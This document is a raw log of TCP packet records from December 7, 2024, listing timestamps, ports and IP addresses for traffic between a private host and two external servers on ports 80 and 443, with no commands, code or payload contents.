Dec 7, 2024 00:15:19.609848976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.609971046 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.609975100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.610027075 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.613426924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.613480091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.613533020 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.613581896 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.617003918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.617074966 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.617100000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.617177963 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.620558977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.620682001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.620723009 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.620733976 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.650819063 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.650885105 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.650897980 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.650923967 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.652563095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.652636051 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.652661085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.652720928 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.656116009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.656188011 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.657385111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.657563925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.657577038 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.657718897 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.661020994 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.661075115 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.661125898 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.661180019 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.664561033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.664617062 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.664674044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.664721012 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.668139935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.668194056 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.668196917 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.668231010 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.722907066 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.722985983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.723010063 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.723177910 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.724376917 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.724430084 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.724447012 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.724493980 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.726584911 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.726638079 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.726681948 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.726732969 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.729598045 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.729659081 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.729691982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.729727983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.732426882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.732480049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.732528925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.732570887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.735163927 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.735213041 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.735275030 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.735352993 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.737931013 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.737986088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.738049984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.738100052 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.740614891 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.740712881 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.740725994 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.740747929 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.743191957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.743247032 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.743305922 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.743350983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.745721102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.745771885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.745824099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.745872974 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.748189926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.748260975 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.748279095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.748374939 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.750646114 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.750765085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.750794888 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.750809908 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.753123045 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.753187895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.753259897 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.753308058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.778908968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.778980017 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.779051065 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.779110909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.779834986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.779913902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.780229092 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.780359983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.780420065 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.782167912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.782283068 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.782337904 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.784085035 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.784240007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.784291029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.786047935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.786145926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.786216974 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.787924051 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.788027048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.788093090 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.789854050 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.789988995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.790045977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.791840076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.791903973 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.791965961 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.793710947 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.793776989 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.793839931 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.794466972 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.795541048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.795661926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.795675039 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.795717955 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.797408104 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.797545910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.797605991 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.799490929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.799540043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.799567938 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.799578905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.801189899 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.801318884 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.801522970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.801578999 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.803184986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.803240061 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.803281069 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.803328991 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.805025101 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.805077076 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.805102110 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.805332899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.806838989 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.806904078 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.806936026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.806992054 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.808701992 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.808754921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.808810949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.808870077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.810616970 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.810671091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.810810089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.810947895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.812480927 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.812542915 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.812635899 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.812707901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.814337969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.814395905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.814445019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.814488888 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.816236019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.816289902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.836714983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.836781979 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.836817026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.836859941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.837657928 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.837704897 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.837723017 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.837738991 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.839086056 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.839154005 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.839190960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.839279890 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.841058969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.841125011 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.841236115 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.841280937 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.842860937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.842948914 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.842987061 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.843069077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.844715118 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.844778061 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.844805956 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.844901085 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.846622944 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.846669912 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.846707106 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.846748114 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.848507881 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.848582029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.848614931 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.848692894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.850387096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.850451946 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.850476027 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.850629091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.852277994 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.852345943 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.852411032 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.852469921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.854152918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.854260921 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.854310036 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.856039047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.856108904 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.856159925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.856220961 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.857857943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.857914925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.914972067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.915050030 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.915091991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.915182114 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.915879011 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.915935040 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.915983915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.916023016 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.917771101 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.917880058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.917932987 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.919646978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.919708967 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.919745922 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.919785976 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.921526909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.921582937 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.921649933 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.921695948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.923363924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.923423052 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.923465967 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.923510075 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.925177097 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.925240040 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.925277948 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.925318956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.926947117 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.926992893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.927042007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.927078962 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.928654909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.928718090 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.928755045 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.928809881 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.930329084 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.930387974 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.930476904 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.930517912 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.932226896 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.932240009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.932295084 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.933672905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.933686018 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.933738947 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.935225010 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.935276985 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.935338020 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.935393095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.936813116 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.936860085 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.936899900 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.936944008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.938374996 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.938469887 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.938515902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.939878941 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.939924955 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.939989090 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.940025091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.941421986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.941488028 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.941519976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.941564083 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.942965031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.943025112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.943057060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.943094969 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.944469929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.944545984 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.944574118 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.944614887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.946002007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.946048975 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.946088076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.946135998 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.947570086 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.947628975 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.947717905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.947807074 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.949086905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.949143887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.949201107 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.949326992 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.950551033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.950589895 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.959628105 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.959695101 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.959742069 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.959758043 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.959813118 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.959922075 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.960135937 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.960149050 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.960160971 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.960165977 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.961494923 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.961524963 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.961539030 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.961548090 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.966218948 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.966255903 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.966327906 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.967461109 CET	49727	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.967469931 CET	443	49727	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.968698025 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.968713045 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.968800068 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.968967915 CET	49728	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.968976974 CET	443	49728	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.971021891 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.971091032 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.971195936 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.971450090 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.971460104 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.971474886 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.971478939 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.971595049 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.971700907 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.971745014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.971780062 CET	49715	80	192.168.2.6	185.215.113.206
